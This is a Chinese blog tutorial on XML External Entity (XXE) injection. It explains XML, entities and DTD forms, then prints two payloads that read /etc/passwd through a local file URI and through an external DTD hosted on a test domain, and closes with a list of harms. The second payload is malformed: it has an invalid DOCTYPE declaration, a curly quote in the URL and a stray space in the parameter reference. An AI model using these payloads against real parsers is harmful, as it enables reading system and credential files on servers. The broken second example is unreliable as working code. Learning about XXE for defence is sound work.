XXE漏洞——xml外部实体注入XXE

XXE:

  • XXE全称XML External Entity Injection,也就是XML外部实体注入攻击,漏洞是对非安全的外部实体数据进行处理时引发的安全问题。
  • 要了解XXE,就必须懂得XML的一些规则。
  • XML是用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。
  • XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素

XML:

  • XML是The Extensible Markup Language(可扩展标识语言)的简写。
  • XML最初的目的是弥补HTML的不足,后来逐渐用于网络数据的转换和描述。
  • XML的设计宗旨是传输数据,不是显示数据。
  • XML在web中的应用已十分广泛。XML是各种应用程序之间数据传输最常用的工具。

xml实体(ENTITY):

  • 在一个甚至多个XML文档中频繁使用某一条数据,我们可以预先定义一个这条数据的“别名”,即一个ENTITY,然后在这些文档中需要该数据的地方调用它。
  • 根据实体的来源我们可以分为内部实体和外部实体。
  • XML定义了两种类型的ENTITY,一种在XML文档中使用,另一种作为参数在DTD文件中使用。
  • 定义好的ENTITY在文档中通过“&实体名;”来使用。

DTD:

  • DTD(Documnet Type Definition):
  • 即文档类型定义,是一种XML约束模式语言,属于XML文件组成的一部分。
  • DTD文档有三种应用形式:
  • 1.内部DTD文档
  • <!DOCTYPE 根元素[定义内容]>
  • 2.外部DTD文档
  • <!DOCTYPE 根元素 SYSTEM "DTD文件路径">
  • 3.内外部DTD文档结合
  • <!DOCTYPE 根元素 SYSTEM "DTD文件路径" [定义内容]>
  • DTD作用:
  • 数据库表结构与数据记录。
  • 每个XML文件可以携带一个自身格式的描述。
  • 不同组织的人可以使用一个通用DTD来交换数据。
  • 应用程序可以使用一个标准DTD校验从外部世界接收来的XML数据是否有效。

普通实体引入外部实体

  • 通过file协议,引入外部参数实体:
  • <?xml version="1.0" encoding="UTF-8"?>
  • <!DOCTYPE test [
  •     <!ENTITY xxe SYSTEM "file:///etc/passwd">
  •     ]>
  • <test>&xxe;</test>

引入外部参数实体outdtd.dtd文件:

  • <?xml version="1.0" encoding="UTF-8"?>
  • <!DOCTYPE % test[
  •     <!ENTITY % a SYSTEM “http://www.test.com/outdtd.dtd">
  •     % a;]>
  • <test>&xxe;</test>
  • outdtd.dtd
  • <!ENTITY xxe SYSTEM "file:///etc/passwd">

XXE危害

1:读取任意文件。
2:URL请求。
3: Dos拒绝服务。递归调用,占用大量服务器资源。
发布了45 篇原创文章 · 获赞 145 · 访问量 5467

猜你喜欢

转载自blog.csdn.net/cldimd/article/details/105008367